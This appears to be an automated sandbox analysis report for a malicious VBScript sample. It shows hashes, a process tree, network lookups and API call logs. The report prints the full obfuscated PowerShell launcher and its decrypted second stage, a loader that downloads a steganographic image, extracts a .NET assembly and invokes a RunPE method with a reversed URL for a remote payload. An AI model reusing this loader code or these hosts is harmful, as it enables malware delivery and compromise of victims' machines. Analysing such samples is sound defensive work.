popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Qwredfrf.vbs

Generic Malware Antivirus PowerShell
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 July 19, 2024, 12:51 p.m. July 19, 2024, 12:55 p.m.
Size 116.9KB
Type Little-endian UTF-16 Unicode text, with very long lines, with CRLF, CR line terminators
MD5 ee74f2659329f51927d8aa7462d6a334
SHA256 dfdfbe734a77223fc83cf7e0a276cc6ef53c5d40c0fff77897293627736999fc
CRC32 6CE40723
ssdeep 768:IXmUxxxxxxxxjxxxxxxxxYxxxxxxxx0AQ6xxxxxxxxGuDkxxxxxxxxlQ2+0xxxxd:IW0f9SCQ2+OO3jQLgI
Yara None matched

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\Qwredfrf.vbs

    2548

    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI09972690008023797368066377468917CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIV8j9BK9bfs/lZP5zFepyR9aRZf8BDzdLeJ1Wr3rZYBw6jT7kuTdwSitjBTH6Sqx88yVFht6lnslkubPCFwxqncRlDrOw9owyJA1zM90PpRr0FaiG+XBe+UtMNx0zzpBZSa7qy/b9pIjbcvkqnwOM6Be0WWFDxVUlj0TDp91XwH/c6ciz+iu6mES3yq5+wAOV+zPJuNp5hqnddk0tEqxo/qMCo+cG/l6r3ezM1s2QQFmQ8AFnu00n4jTFSMCxwGmJXOuAFt0wBq5jfwNhiaVTTCeBRL+vRhYBKAGD/u1Dvw+qPTtj9QM1HRT6VDvUjK3PzbH+R2AR4nOSq9v5lFSm/4FB/+TP5hP/0G/K30EABLByahNrwdJ16uU9iuUdUxN+NdEE/cElVfqnk/AVYq5zOi8KMYjn+cBM7t37nFOU+0R7dqQpX1bw4M9xtDwytc8lEk+oLySfh6DkQx9ZP51+DlSOxtzP8BlibGMotYNxGINUMoFBpW0X5W8pofLjTrSt7qBAj097EKphKYe3dnFx994W4acnmzPqqTr9PR82rWmLbfQf2jbKptR1IhGuTYv9zQSE15Vrf85rElqm4KW35kLioiJMv56w49TVJdaAGq/G+se+SBcPFtd0cm2wycIuQ4pVC4xxw+WdpJi1FZv87Rwrz7pU1f5LIlkQi0+6eoNG6yxyTKoTJaQAuX2geHwz+f9R6YUS2D7ybG0Vvw+ZFtSb2YV8cqEjPCNT4AdDGlZYcPsf6Hbm1EvW5r7k+0F/yDLB/y2wX4CLIycRbGPZgnjXi4jl/RK4SeIOxoVCs0mtuhlxR9NC8ercXMf5/Emw/QTDPPHm3uTaueMrnP01pI2r2Clos+w8/I3AEeg0Gz8iE1h5bY5D0OUVA7NaAIFwW45kfIOBkH0D6efJmwO0pY8b7loXQGCQrpaKFIWDUM4r97poqR4yhZYSxi7iwH+Vl/YNiqosLi5Z81MJ2NG+ei7HNxiblmO1AZ89LR/dD0RunVNNNhBOJ20glXfhQablo+F3yp9MnWBGU16Whu0b6YAdUDUvUVnxmuvpy1sVCQUTPsID8xFq1R/xK5GuhKddgv7GGw5SyZsSIDp0vbCvsX5oX3OIOydStyJIHumBn7h4OZdqvwvPZBapFBOGY9z0eeM3eCmqn0yk6DyJu0+gi5P+zDlz8SpCj+SNGMTJz0l905+iyHMyMWnkggQmgVzyg1Q6TkjS0ZXZx393y9B2605wrJHM48GqCWK4XqzWw45YDLcHSdqf+UBwT7GfcFNHv00ImuK+RnIuKMlHCWkV2tSGFh0wWgQywUjcsnZ34gpxsLS1SAxWC6/IFwxYsJk/GBcEMH0rTPbUNm2J+jFt11Avnq+K7RF/SwZLc/leZ1akr2gXbw4IRwvGO7CMtEpzUm1Zdy4mb/6VvbqVTq44zZ26ZyUo6gblDsc0klLgF3zsOD6WSrKV3lnuwKRjndiyyki5Sg9zHqW6vFA3JeHtj8BLeOGKSkbOBxHZWnQ2oJ7RUYNjiEkGbh65ZTwaEvs4uRuedzxH0kPVOV507iFyClriTFrO1uoxRQsT09iGQiOoy+LVcGHswQA6jQ8EsbetUL9hQJXOrgFLBuWvyk/YWmUK/7aoFOtJ/sOFbmU430Td/Q/lIkds2Pa2fDor+IhZkK+vDjiTT88AV/YFn+sJUrtD/3/4UtT1FQqoB4YhPhlNOQO3j4jovLs0f4eqLACrrvVjz0E1KJe1UFyBf3QvCf0ym/956bEdz78V4FOo6XRV9Zd3o7x1Cb8dTqahS3VCCnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')

      2708

Name Response Post-Analysis Lookup
ia803405.us.archive.org
A 207.241.232.195
207.241.232.195
pastecode.dev
A 172.66.40.229
A 172.66.43.27
172.66.43.27
IP Address Status Action
164.124.101.2 Active Moloch
172.66.43.27 Active Moloch
207.241.232.195 Active Moloch

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: Method invocation failed because [System.Security.Cryptography.AesManaged] does
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: n't contain a method named 'Dispose'.
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: At line:1 char:715
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: + function Decrypt-AESEncryption {Param([String]$Base64Text,[String]$Key)$aesMa
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: naged = New-Object System.Security.Cryptography.AesManaged;$aesManaged.Mode = [
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: System.Security.Cryptography.CipherMode]::CBC;$aesManaged.Padding = [System.Sec
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: urity.Cryptography.PaddingMode]::Zeros;$aesManaged.BlockSize = 128;$aesManaged.
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: KeySize = 256;$aesManaged.Key = (New-Object System.Security.Cryptography.SHA256
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: Managed).ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Key));$cipherBytes
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: = [System.Convert]::FromBase64String($Base64Text);$aesManaged.IV = $cipherBytes
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: [0..15];$decryptor = $aesManaged.CreateDecryptor();$decryptedBytes = $decryptor
console_handle: 0x0000009b
1 1 0

WriteConsoleW

 buffer: .TransformFinalBlock($cipherBytes, 16, $cipherBytes.Length - 16);$aesManaged.Di
console_handle: 0x000000a7
1 1 0

WriteConsoleW

 buffer: spose <<<< ();return [System.Text.Encoding]::UTF8.GetString($decryptedBytes).Tr
console_handle: 0x000000b3
1 1 0

WriteConsoleW

 buffer: im([char]0);}$chave = "09972690008023797368066377468917";$textoCriptografadoBas
console_handle: 0x000000bf
1 1 0

WriteConsoleW

 buffer: e64 = "V8j9BK9bfs/lZP5zFepyR9aRZf8BDzdLeJ1Wr3rZYBw6jT7kuTdwSitjBTH6Sqx88yVFht6l
console_handle: 0x000000cb
1 1 0

WriteConsoleW

 buffer: nslkubPCFwxqncRlDrOw9owyJA1zM90PpRr0FaiG+XBe+UtMNx0zzpBZSa7qy/b9pIjbcvkqnwOM6Be
console_handle: 0x000000d7
1 1 0

WriteConsoleW

 buffer: 0WWFDxVUlj0TDp91XwH/c6ciz+iu6mES3yq5+wAOV+zPJuNp5hqnddk0tEqxo/qMCo+cG/l6r3ezM1s
console_handle: 0x000000e3
1 1 0

WriteConsoleW

 buffer: 2QQFmQ8AFnu00n4jTFSMCxwGmJXOuAFt0wBq5jfwNhiaVTTCeBRL+vRhYBKAGD/u1Dvw+qPTtj9QM1H
console_handle: 0x000000ef
1 1 0

WriteConsoleW

 buffer: RT6VDvUjK3PzbH+R2AR4nOSq9v5lFSm/4FB/+TP5hP/0G/K30EABLByahNrwdJ16uU9iuUdUxN+NdEE
console_handle: 0x000000fb
1 1 0

WriteConsoleW

 buffer: /cElVfqnk/AVYq5zOi8KMYjn+cBM7t37nFOU+0R7dqQpX1bw4M9xtDwytc8lEk+oLySfh6DkQx9ZP51
console_handle: 0x00000107
1 1 0

WriteConsoleW

 buffer: +DlSOxtzP8BlibGMotYNxGINUMoFBpW0X5W8pofLjTrSt7qBAj097EKphKYe3dnFx994W4acnmzPqqT
console_handle: 0x00000113
1 1 0

WriteConsoleW

 buffer: r9PR82rWmLbfQf2jbKptR1IhGuTYv9zQSE15Vrf85rElqm4KW35kLioiJMv56w49TVJdaAGq/G+se+S
console_handle: 0x0000011f
1 1 0

WriteConsoleW

 buffer: BcPFtd0cm2wycIuQ4pVC4xxw+WdpJi1FZv87Rwrz7pU1f5LIlkQi0+6eoNG6yxyTKoTJaQAuX2geHwz
console_handle: 0x0000012b
1 1 0

WriteConsoleW

 buffer: +f9R6YUS2D7ybG0Vvw+ZFtSb2YV8cqEjPCNT4AdDGlZYcPsf6Hbm1EvW5r7k+0F/yDLB/y2wX4CLIyc
console_handle: 0x00000137
1 1 0

WriteConsoleW

 buffer: RbGPZgnjXi4jl/RK4SeIOxoVCs0mtuhlxR9NC8ercXMf5/Emw/QTDPPHm3uTaueMrnP01pI2r2Clos+
console_handle: 0x00000143
1 1 0

WriteConsoleW

 buffer: w8/I3AEeg0Gz8iE1h5bY5D0OUVA7NaAIFwW45kfIOBkH0D6efJmwO0pY8b7loXQGCQrpaKFIWDUM4r9
console_handle: 0x0000014f
1 1 0

WriteConsoleW

 buffer: 7poqR4yhZYSxi7iwH+Vl/YNiqosLi5Z81MJ2NG+ei7HNxiblmO1AZ89LR/dD0RunVNNNhBOJ20glXfh
console_handle: 0x0000015b
1 1 0

WriteConsoleW

 buffer: Qablo+F3yp9MnWBGU16Whu0b6YAdUDUvUVnxmuvpy1sVCQUTPsID8xFq1R/xK5GuhKddgv7GGw5SyZs
console_handle: 0x00000167
1 1 0

WriteConsoleW

 buffer: SIDp0vbCvsX5oX3OIOydStyJIHumBn7h4OZdqvwvPZBapFBOGY9z0eeM3eCmqn0yk6DyJu0+gi5P+zD
console_handle: 0x00000173
1 1 0

WriteConsoleW

 buffer: lz8SpCj+SNGMTJz0l905+iyHMyMWnkggQmgVzyg1Q6TkjS0ZXZx393y9B2605wrJHM48GqCWK4XqzWw
console_handle: 0x0000017f
1 1 0

WriteConsoleW

 buffer: 45YDLcHSdqf+UBwT7GfcFNHv00ImuK+RnIuKMlHCWkV2tSGFh0wWgQywUjcsnZ34gpxsLS1SAxWC6/I
console_handle: 0x0000018b
1 1 0

WriteConsoleW

 buffer: FwxYsJk/GBcEMH0rTPbUNm2J+jFt11Avnq+K7RF/SwZLc/leZ1akr2gXbw4IRwvGO7CMtEpzUm1Zdy4
console_handle: 0x00000197
1 1 0

WriteConsoleW

 buffer: mb/6VvbqVTq44zZ26ZyUo6gblDsc0klLgF3zsOD6WSrKV3lnuwKRjndiyyki5Sg9zHqW6vFA3JeHtj8
console_handle: 0x000001a3
1 1 0

WriteConsoleW

 buffer: BLeOGKSkbOBxHZWnQ2oJ7RUYNjiEkGbh65ZTwaEvs4uRuedzxH0kPVOV507iFyClriTFrO1uoxRQsT0
console_handle: 0x000001af
1 1 0

WriteConsoleW

 buffer: 9iGQiOoy+LVcGHswQA6jQ8EsbetUL9hQJXOrgFLBuWvyk/YWmUK/7aoFOtJ/sOFbmU430Td/Q/lIkds
console_handle: 0x000001bb
1 1 0

WriteConsoleW

 buffer: 2Pa2fDor+IhZkK+vDjiTT88AV/YFn+sJUrtD/3/4UtT1FQqoB4YhPhlNOQO3j4jovLs0f4eqLACrrvV
console_handle: 0x000001c7
1 1 0

WriteConsoleW

 buffer: jz0E1KJe1UFyBf3QvCf0ym/956bEdz78V4FOo6XRV9Zd3o7x1Cb8dTqahS3VC";$textoDescriptog
console_handle: 0x000001d3
1 1 0

WriteConsoleW

 buffer: rafado = Decrypt-AESEncryption -Base64Text $textoCriptografadoBase64 -Key $chav
console_handle: 0x000001df
1 1 0

WriteConsoleW

 buffer: e;Write-Host "Texto Descriptografado: $textoDescriptografado";Invoke-Expression
console_handle: 0x000001eb
1 1 0

WriteConsoleW

 buffer: $textoDescriptografado;
console_handle: 0x000001f7
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : InvalidOperation: (Dispose:String) [], RuntimeEx
console_handle: 0x00000203
1 1 0

WriteConsoleW

 buffer: ception
console_handle: 0x0000020f
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : MethodNotFound
console_handle: 0x0000021b
1 1 0

WriteConsoleW

 buffer: Texto Descriptografado: function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://ia803405.us.archive.org/16/items/new_image_202406/new_image.jpg', 'https://ia803405.us.archive.org/16/items/new_image_202406/new_image.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('RunPE.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.wed/bvhsiw/ue.rellorhsupws.sab//:ptth' , '1' , 'C:\ProgramData\' , 'empenha','vbc',''))} }
console_handle: 0x00000237
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051d268
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051daa8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051daa8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051daa8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051dc68
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051dc68
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051dc68
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051dc68
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051dc68
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051dc68
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051d0a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051d0a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051d0a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051daa8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051daa8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051daa8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051d968
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051daa8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051daa8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051daa8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051daa8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051daa8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051daa8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051daa8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051dde8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051dde8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051dde8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051dde8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051dde8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051dde8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051dde8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051dde8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051dde8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051dde8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051dde8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051dde8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051dde8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051dde8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051dd28
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051dd28
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051de68
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051de68
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051de68
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051de68
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051d3a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051d3a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
request GET https://pastecode.dev/raw/6l7qjjrz/paste1.txt
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 1441792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02990000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ab0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2708
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72891000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01dfa000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2708
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72892000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01df2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x021f2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ab1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ab2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0221a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x021f3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x021f4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0222b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02227000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01dfb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02212000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02225000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x021f5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0221c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x021f6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0222c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 4096
